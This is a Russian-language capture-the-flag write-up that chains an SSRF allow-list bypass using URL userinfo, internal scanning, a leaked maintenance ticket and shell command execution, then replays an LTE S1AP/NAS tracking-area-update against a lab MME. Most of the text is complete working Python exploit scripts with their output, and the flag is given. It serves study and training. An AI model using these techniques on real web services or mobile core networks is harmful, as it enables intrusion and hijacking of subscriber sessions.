Hidden Network
Область тестирования и использованные службы.
| IP/домен | Порт | Сервис | Сервис целевого сервера |
|---|---|---|---|
| localhost | - | Python 3 | - |
| localhost | - | curl | - |
| localhost | - | pycrate / pysctp | - |
| INSTANCE | 80 | Flask Femtocell Management | + |
| 172.19.0.2 | 36412 | MME (S1AP, SCTP) | + |
| 172.19.0.3 | 8081 | femto-agent (Flask) | + |
| 172.19.0.4 | 8082 | mme-log-relay (Flask) | + |
| 172.19.0.5 | 8080 | веб-приложение (второй интерфейс) | + |
Словарь терминов
Чтобы было понятно без знания телефонии:
- LTE (Long-Term Evolution) - стандарт мобильной связи 4G. Телефон общается с вышкой, вышка - с ядром сети.
- UE (User Equipment) - абонентское устройство: телефон, модем, модуль интернета вещей.
- eNB (evolved Node B) - базовая станция LTE, «вышка», к которой подключается UE.
- Cell (сота) - зона покрытия одной базовой станции или одного её сектора.
- EPC (Evolved Packet Core) - ядро сети LTE: набор серверов, которые обслуживают подключение.
- MME (Mobility Management Entity) - один из серверов ядра. Он регистрирует UE, проверяет подлинность (аутентификация), хранит контекст - состояние и параметры сессии абонента - и обрабатывает служебные процедуры вроде TAU.
- SCTP (Stream Control Transmission Protocol) - транспортный протокол, альтернатива TCP: передаёт сообщения целиком и поддерживает несколько потоков в одном соединении. В LTE по нему eNB и MME общаются на порту
36412. - S1AP (S1 Application Protocol) - протокол сигнализации между eNB и MME поверх SCTP. Через него вышка регистрируется на MME, передаёт сообщения от UE и получает ответы.
- NAS (Non-Access Stratum) - протокол сигнализации между UE и MME. Он «не виден» вышке: eNB просто упаковывает NAS-сообщение в S1AP и передаёт дальше.
- TAU (Tracking Area Update) - процедура обновления местоположения: UE сообщает сети, что находится в новой зоне, и предъявляет временный идентификатор.
- Tracking Area (TA) - группа сот, в пределах которой UE может перемещаться без обновления местоположения.
- IMSI (International Mobile Subscriber Identity) - постоянный идентификатор абонента, который хранится на SIM-карте.
- TMSI (Temporary Mobile Subscriber Identity) - временный идентификатор абонента, который сеть выдаёт вместо IMSI, чтобы не гонять постоянный идентификатор по радио.
- S-TMSI - сокращённый TMSI для LTE: состоит из
mMECиM-TMSI. - M-TMSI - случайная часть S-TMSI, идентифицирующая UE внутри MME.
- mMEC - код MME, по которому сеть понимает, какой именно MME обслуживает абонента.
- GUTI (Globally Unique Temporary Identity) - глобально уникальный временный идентификатор: включает идентификатор MME и TMSI. S-TMSI - его короткая форма для радиоинтерфейса.
- PLMN (Public Land Mobile Network) - идентификатор сети оператора: MCC (код страны) + MNC (код оператора).
- TAI (Tracking Area Identity) - идентификатор зоны отслеживания: PLMN + TAC.
- TAC (Tracking Area Code) - код зоны внутри сети оператора.
- EUTRAN-CGI (E-UTRAN Cell Global Identifier) - глобальный идентификатор соты: PLMN + код соты.
- payload - полезная нагрузка, данные, которые один протокол несёт внутри другого.
Как устроена модель и почему это работает
Чтобы понять модель задачи, нужно представлять, как в LTE проходит сигнализация. При подключении UE (телефон) отправляет через eNB (вышку) NAS-сообщение; eNB упаковывает его в S1AP и передаёт в MME (сервер ядра) по SCTP. MME проверяет абонента, создаёт контекст (запись о сессии) и выдаёт временный идентификатор - GUTI, короткая форма которого S-TMSI. При перемещении UE делает TAU: присылает NAS TAU-запрос со старым S-TMSI, а MME по этому S-TMSI находит контекст и продолжает обслуживание.
В задаче MME уже хранит контекст старой UE, а relay-лог сливает NAS TAU-запрос и S-TMSI (mMEC + M-TMSI). Атакующий не имеет доступа к радио, но после SSRF и RCE попадает во внутреннюю сеть и может говорить с MME по SCTP напрямую. Он отправляет S1AP InitialUEMessage, внутри которого лежит украденный NAS TAU, и подставляет S-TMSI старой UE. MME ищет контекст по S-TMSI, находит его и обрабатывает сообщение как легитимное - хотя пришло оно от другого eNB.
Модель атаки: веб-уязвимость (SSRF) → RCE в контейнере → доступ к внутреннему SCTP-сервису MME → replay украденной NAS-сессии с чужим S-TMSI. Ключевая точка - S-TMSI: без него MME не находит контекст (M-TMSI=0x0), с ним - принимает «чужой голос» за голос владельца. В реальном LTE NAS защищён проверкой целостности и счётчиками, но в модели задачи эта проверка упрощена; именно это и обыгрывает подсказка про «чужой служебный шёпот».
Использованные файлы:
ssrf_probe.py- проверка SSRF и обхода allow-list.scan_services.py- сканирование внутренних подсетей через SSRF.enumerate_v1.py- поиск маршрутов/v1/на внутренних сервисах.console_chain.py- получение maintenance-тикета, разблокировка консоли и выполнение команд.exploit_s1ap.py- S1AP/NAS replay на MME и извлечение флага.flag.txt- флаг.evidence.txt- подтверждение получения флага.
Оглавление
- Словарь терминов
- Разведка веб-приложения
- Обход allow-list в SSRF
- Карта внутренней сети
- Поиск маршрутов
/v1/ - Утечка maintenance-тикета
- Консоль и RCE
- Relay-лог MME
- S1AP/NAS replay
Порядок действий
1) Разведка веб-приложения
Публичный инстанс - Flask-приложение «Femtocell Management». Смотрим основные маршруты:
/,/maintenance,/maintenance/console/health,/robots.txt,/static/dashboard.js/api/logs?name=.../api/diagnostics/connectivity-test?target=...
В dashboard.js находим внутренний peer:
http://mme-monitor:8081/health
Снаружи он недоступен, но приложение умеет ходить по произвольному target - это и есть точка входа.
2) Обход allow-list в SSRF
В connectivity-test стоит проверка только на строковый префикс, а нормализация URL пересобирает адрес через urlsplit. Сначала посмотрим на уязвимый код приложения.
@app.get("/api/diagnostics/connectivity-test")
def connectivity_test():
target = request.args.get("target", "http://mme-monitor:8081/health")
if not target.startswith("http://mme-monitor"):
abort(403, description="Target is outside the configured management peer")
try:
normalized_target = normalize_probe_target(target)
with urlrequest.urlopen(normalized_target, timeout=2) as response:
body = response.read(4096).decode("utf-8", errors="replace")
return jsonify({"target": target, "status": response.status, "body": body})
except urlerror.HTTPError as exc:
body = exc.read(4096).decode("utf-8", errors="replace")
return jsonify({"target": target, "status": exc.code, "body": body}), exc.code
except (OSError, ValueError, urlerror.URLError) as exc:
return jsonify({"target": target, "status": "unreachable", "error": str(exc)}), 502
def normalize_probe_target(target):
parsed = urlsplit(target)
if parsed.scheme != "http" or not parsed.hostname:
raise ValueError("invalid HTTP target")
try:
port = f":{parsed.port}" if parsed.port is not None else ""
except ValueError as exc:
raise ValueError("invalid target port") from exc
return urlunsplit((parsed.scheme, f"{parsed.hostname}{port}", parsed.path, parsed.query, ""))
Ключевые точки:
startswithпроверяет исходную строку целиком, включая userinfo;normalize_probe_targetберёт толькоparsed.hostname, поэтомуmme-monitor:8081@...превращается в адрес после@;- в результате проверка и фактическое соединение смотрят на разные части URL.
Поэтому такой target проходит проверку, но запрос уходит на внутренний IP:
http://mme-monitor:8081@172.19.0.3:8081/v1/jobs/8427
Для проверки гипотезы используем ssrf_probe.py. Скрипт собирает target с userinfo, кодирует его в connectivity-test и печатает статус и начало ответа.
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://INSTANCE"
def ssrf(inner, timeout=12):
target = "http://mme-monitor:8081@" + inner
url = BASE + "/api/diagnostics/connectivity-test?target=" + urllib.parse.quote(target, safe="")
try:
r = urllib.request.urlopen(url, timeout=timeout)
return r.status, r.read(800)
except urllib.error.HTTPError as e:
return e.code, e.read(800)
except Exception as e:
return "ERR", str(e).encode()
if __name__ == "__main__":
for x in sys.argv[2:]:
print(x, "=>", ssrf(x))
time.sleep(0.8)
- Запуск:
python3 ssrf_probe.py http://INSTANCE http://172.19.0.3:8081/v1/health
- Результат:
http://172.19.0.3:8081/v1/health => (200, b'{"service":"femto-agent","status":"ok"}')
3) Карта внутренней сети
scan_services.py перебирает адреса во внутренних подсетях и порты, оборачивая каждый запрос в тот же SSRF. Для каждой пары IP:порт он смотрит на status и body ответа: если сервис ответил, пара печатается, если соединение отклонено или имя не резолвится - пропускается.
import concurrent.futures
import json
import os
import sys
import urllib.error
import urllib.parse
import urllib.request
HOST = os.environ.get("INST", "INSTANCE")
SSRF = "http://%s/api/diagnostics/connectivity-test?target=" % HOST
def ssrf(target, timeout=6):
url = SSRF + urllib.parse.quote(target, safe="")
try:
r = urllib.request.urlopen(url, timeout=timeout)
body = r.read()
try:
return json.loads(body)
except Exception:
return {"_raw": body.decode("utf-8", "replace")[:200]}
except urllib.error.HTTPError as e:
try:
return json.loads(e.read())
except Exception:
return {"_http": e.code}
except Exception as e:
return {"_err": str(e)}
def probe(hp):
host, port = hp
j = ssrf("http://mme-monitor:8081@%s:%d/" % (host, port))
if "_err" in j:
return None
if "_http" in j:
return (host, port, "HTTP%d" % j["_http"], str(j)[:150])
st = j.get("status")
if st == "unreachable":
err = str(j.get("error", "")).lower()
if "refused" in err or "name resolution" in err or "timed out" in err:
return None
return (host, port, st, str(j)[:150])
return (host, port, st, str(j.get("body"))[:200].replace("\n", " "))
if __name__ == "__main__":
nets = sys.argv[1].split(",") if len(sys.argv) > 1 else ["172.19.0", "172.18.0"]
ports = [int(x) for x in (sys.argv[2].split(",") if len(sys.argv) > 2 else ["80", "8000", "8080", "8081", "8082", "3000", "5000", "8888", "9000"])]
targets = [("%s.%d" % (n, i), p) for n in nets for i in range(1, 16) for p in ports]
with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex:
for r in ex.map(probe, targets):
if r:
print(r, flush=True)
- Запуск:
INST=INSTANCE python3 scan_services.py 172.19.0,172.18.0 80,8000,8080,8081,8082,3000
- Результат:
('172.19.0.2', 8081, 'HTTP404', "{'_http': 404}")
('172.19.0.3', 8081, 200, '{"service":"femto-agent","status":"ok"}')
('172.19.0.4', 8082, 200, '{"service":"femto-log-relay","status":"ok"}')
('172.19.0.5', 8080, 200, '<!doctype html><html lang="ru">...')
Итог:
172.19.0.2- настоящий MME, SCTP-порт36412, S1AP; TCP8081закрыт.172.19.0.3:8081-femto-agent.172.19.0.4:8082-mme-log-relay.172.19.0.5:8080- публичное веб-приложение.
DNS внутри контейнеров не работал (EAI_AGAIN), поэтому дальше везде используем IP.
4) Поиск маршрутов /v1/
Сначала казалось, что внутренние сервисы закрыты Host-заголовком: корень и очевидные пути отдавали 404. На самом деле все маршруты лежали под /v1/. enumerate_v1.py перебирает словарь типовых имён (health, jobs, tickets, diagnostics, sessions и т.д.) и печатает всё, что ответило не 404.
import concurrent.futures
import json
import os
import sys
import urllib.error
import urllib.parse
import urllib.request
HOST = os.environ.get("INST", "INSTANCE")
SSRF = "http://%s/api/diagnostics/connectivity-test?target=" % HOST
NAMES = """health status ready live ping probe version info whoami metrics
sessions session session/new session/list session/show session/get auth login logout token tokens
tickets ticket ticket/new ticket/issue issue claim
dispatch support field-support
logs log log/8427 log/1 logs/8427
echo s1 s1ap mme hss ue enb gnb cgi tr069 cwmp acs device devices devices/FEMTO-042
agent femto femtocell femto-agent job jobs queue queue/status worker workers
messages message relay relay/logs relay/sessions
register announce heartbeat config env flag flags secret secrets
maintenance console admin debug
management peers peer monitor monitoring diagnostics connectivity""".split()
def ssrf(target, timeout=10):
url = SSRF + urllib.parse.quote(target, safe="")
try:
r = urllib.request.urlopen(url, timeout=timeout)
body = r.read()
try:
return json.loads(body)
except Exception:
return {"_raw": body.decode("utf-8", "replace")[:400]}
except urllib.error.HTTPError as e:
try:
return json.loads(e.read())
except Exception:
return {"_http": e.code}
except Exception as e:
return {"_err": str(e)}
def probe(args):
ip, port, path = args
j = ssrf("http://mme-monitor:8081@%s:%d%s" % (ip, port, path))
if "_err" in j:
return (ip, path, "ERR", j["_err"][:50])
st = j.get("status")
body = str(j.get("body", j.get("_raw", "")))[:250].replace("\n", " ")
if st == 404:
return None
return (ip, path, st, body, j.get("error", ""))
if __name__ == "__main__":
paths = set()
for n in NAMES:
for p in ["/v1/" + n, "/v1/" + n + "/"]:
paths.add(p)
targets = [(ip, port, p) for ip, port in [("172.19.0.3", 8081), ("172.19.0.4", 8082)] for p in paths]
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
for r in ex.map(probe, targets):
if r:
print(r, flush=True)
- Запуск:
INST=INSTANCE python3 enumerate_v1.py
- Результат:
('172.19.0.3', '/v1/health', 200, '{"service":"femto-agent","status":"ok"}', '')
('172.19.0.3', '/v1/jobs/8427', 200, '{"device_id":"FEMTO-042",...}', '')
('172.19.0.4', '/v1/health', 200, '{"service":"femto-log-relay","status":"ok"}', '')
('172.19.0.4', '/v1/diagnostics/ran-support-cache.log', 200, 'S1AP UL NAS trace:...', '')
5) Утечка maintenance-тикета
На femto-agent нашёлся pre-auth маршрут /v1/jobs/8427. Он отдаёт контекст задания без проверки владельца.
- Запрос:
GET /api/diagnostics/connectivity-test?target=http%3A%2F%2Fmme-monitor%3A8081%40172.19.0.3%3A8081%2Fv1%2Fjobs%2F8427
- Результат:
{
"device_id": "FEMTO-042",
"id": 8427,
"m_tmsi": "0x63abd840",
"maintenance_ticket": "MNT-FEMTO-042-1e6821-Mdtd0dK9mkeWWfdJ",
"nas_log": "ran-support-cache.log",
"state": "periodic-tau-captured",
"subscriber_ref": "lab-ue-001",
"ticket_expires_at": 1793466867
}
Тикет одноразовый и живёт 15 минут, но выдаётся без авторизации, поэтому его можно получить в любой момент.
6) Консоль и RCE
Отправляем тикет на /maintenance. При успехе в сессию пишется console_unlocked=true, и открывается /maintenance/console. Консоль выполняет команды через /bin/sh -lc:
def execute_diagnostic(command):
container_guard()
command = command.strip()
if not command:
return 0, ""
if len(command) > MAX_COMMAND_LENGTH:
return 2, f"command is limited to {MAX_COMMAND_LENGTH} characters"
try:
completed = subprocess.run(
["/bin/sh", "-lc", command],
cwd="/opt/femto",
capture_output=True,
text=True,
timeout=4,
check=False,
)
except subprocess.TimeoutExpired:
return 124, "command timed out after 4 seconds"
except OSError as exc:
return 127, str(exc)
output = completed.stdout
if completed.stderr:
output += f"\n[stderr]\n{completed.stderr}"
return completed.returncode, output.rstrip()
console_chain.py автоматизирует всю цепочку: делает SSRF-запрос к /v1/jobs/<id>, достаёт тикет, отправляет его на /maintenance, сохраняет cookie и выполняет указанную команду через /maintenance/console.
import argparse
import http.cookiejar
import json
import urllib.parse
import urllib.request
def ssrf(base, inner, timeout=20):
target = "http://mme-monitor:8081@" + inner
url = base + "/api/diagnostics/connectivity-test?target=" + urllib.parse.quote(target, safe="")
with urllib.request.urlopen(url, timeout=timeout) as r:
return json.loads(r.read().decode())
def main():
ap = argparse.ArgumentParser()
ap.add_argument("base")
ap.add_argument("--agent", default="172.19.0.3:8081")
ap.add_argument("--job", default="8427")
ap.add_argument("command", nargs="?", default="id; hostname; ls -la /opt/femto")
args = ap.parse_args()
j = ssrf(args.base, "http://%s/v1/jobs/%s" % (args.agent, args.job))
body = j["body"]
if isinstance(body, str):
body = json.loads(body)
ticket = body["maintenance_ticket"]
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
data = urllib.parse.urlencode({"ticket": ticket}).encode()
opener.open(urllib.request.Request(args.base + "/maintenance", data=data), timeout=20).read()
data = urllib.parse.urlencode({"command": args.command}).encode()
r = opener.open(urllib.request.Request(args.base + "/maintenance/console", data=data), timeout=20)
print(r.read().decode("utf-8", "replace"))
if __name__ == "__main__":
main()
- Запуск:
python3 console_chain.py http://INSTANCE --agent 172.19.0.3:8081 --job 8427 "id; pwd; ls -la /opt/femto"
- Результат:
uid=10001(femto) gid=999(femto) groups=999(femto)
/opt/femto
total 44
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 .
drwxr-xr-x 1 root root 4096 Oct 29 20:48 ..
-rw-r--r-- 1 femto femto 4520 Oct 29 19:45 agent.py
-rw-r--r-- 1 femto femto 6286 Oct 28 19:41 app.py
-rw-r--r-- 1 femto femto 7844 Oct 29 19:48 log_relay.py
-rw-r--r-- 1 femto femto 44 Oct 29 20:48 requirements.txt
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 static
drwxr-xr-x 1 femto femto 4096 Oct 29 21:54 templates
Читаем app.py, agent.py, log_relay.py и понимаем, где лежит «эхо» старой сессии.
7) Relay-лог MME
log_relay.py пересылает диагностический лог MME в файл, доступный по:
GET http://172.19.0.4:8082/v1/diagnostics/ran-support-cache.log
- Команда:
curl -s http://172.19.0.4:8082/v1/diagnostics/ran-support-cache.log | grep 'tracking-area-update'
- Результат:
S1AP UL NAS trace: procedure=tracking-area-update ingress=initial_ue_message m_tmsi=0x63abd840 enb_ue_s1ap_id=318 mme_ue_s1ap_id=0 security_header_type=1 integrity=ok nas_pdu_hex=171a1b8575020748...02abc0
В логе есть всё нужное:
m_tmsi=0x63abd840- идентификатор старой UE;nas_pdu_hex=...- полный NAS TAU Request;mMEC=0x1a- код MME для S-TMSI.
Это и есть «эхо»: голос старой сессии, который MME всё ещё готов слушать.
8) S1AP/NAS replay
MME слушает SCTP 172.19.0.2:36412. Скрипт exploit_s1ap.py делает три вещи:
- Кодирует
S1SetupRequest(eNB ID, PLMN, TAC) и отправляет его на MME. - Кодирует
InitialUEMessageс NAS PDU из лога и вставляет S-TMSI IE (id 96) сmMEC=0x1aиm-TMSI=0x63abd840. - Читает ответы и ищет в них
ctfcup{...}.
Критичный момент: без IE S-TMSI MME не находит старую сессию и пишет:
No registered UE context for TAU, M-TMSI=0x0
import socket
import time
import re
from sctp import sctpsocket_tcp
from pycrate_asn1dir import S1AP
P = S1AP.S1AP_PDU_Descriptions().S1AP_PDU
NAS = bytes.fromhex(
"171a1b8575020748030bf600f11000011a63abd8405805f0f0c040091300f1100006c11002abc0"
)
STMSI = {"mMEC": b"\x1a", "m-TMSI": b"\x63\xab\xd8\x40"}
def enc(val):
P.set_val(val)
return P.to_aper()
def setup(enbid, name):
return ("initiatingMessage", {
"procedureCode": 17,
"criticality": "reject",
"value": ("S1SetupRequest", {"protocolIEs": [
{"id": 59, "criticality": "reject", "value": ("Global-ENB-ID", {
"pLMNidentity": bytes.fromhex("00f110"),
"eNB-ID": ("macroENB-ID", (enbid, 20))})},
{"id": 60, "criticality": "ignore", "value": ("ENBname", name)},
{"id": 64, "criticality": "reject", "value": ("SupportedTAs", [{
"tAC": bytes.fromhex("0007"),
"broadcastPLMNs": [bytes.fromhex("00f110")]}])},
{"id": 137, "criticality": "ignore", "value": ("PagingDRX", "v64")},
]})})
def ium(nas):
return ("initiatingMessage", {
"procedureCode": 12,
"criticality": "reject",
"value": ("InitialUEMessage", {"protocolIEs": [
{"id": 8, "criticality": "reject", "value": ("ENB-UE-S1AP-ID", 5218)},
{"id": 26, "criticality": "reject", "value": ("NAS-PDU", nas)},
{"id": 96, "criticality": "reject", "value": ("S-TMSI", STMSI)},
{"id": 67, "criticality": "reject", "value": ("TAI", {
"pLMNidentity": bytes.fromhex("00f110"),
"tAC": bytes.fromhex("0007")})},
{"id": 100, "criticality": "ignore", "value": ("EUTRAN-CGI", {
"pLMNidentity": bytes.fromhex("00f110"),
"cell-ID": (1, 28)})},
{"id": 134, "criticality": "ignore",
"value": ("RRC-Establishment-Cause", "mo-Signalling")},
]})})
def main():
for eid in (0x44D, 0x999):
s = sctpsocket_tcp(socket.AF_INET)
s.settimeout(2)
s.connect(("172.19.0.2", 36412))
s.sctp_send(enc(setup(eid, "epc-lab-main")), ppid=18, stream=0)
time.sleep(0.5)
try:
print("S", hex(eid), s.recv(65535).hex(), flush=True)
except Exception as e:
print("SE", e, flush=True)
s.sctp_send(enc(ium(NAS)), ppid=18, stream=0)
for i in range(6):
try:
d = s.recv(65535)
print("R", hex(eid), i, d.hex(), flush=True)
m = re.search(rb"ctfcup\{[^}]+\}", d)
if m:
print("FLAG", m.group().decode(), flush=True)
except Exception as e:
print("E", hex(eid), i, e, flush=True)
break
s.close()
if __name__ == "__main__":
main()
- Запуск:
python3 exploit_s1ap.py
- Результат:
R 0x44d 0 000b403b000003000000034005dc00080003401462001a00262507fe6374666375707b7461755f7265706c61795f386430363661303632393061356330617d
FLAG ctfcup{tau_replay_8d066a06290a5c0a}
R 0x999 0 000b403b000003000000034005dc00080003401462001a00262507fe6374666375707b7461755f7265706c61795f386430363661303632393061356330617d
FLAG ctfcup{tau_replay_8d066a06290a5c0a}
Флаг:
ctfcup{tau_replay_8d066a06290a5c0a}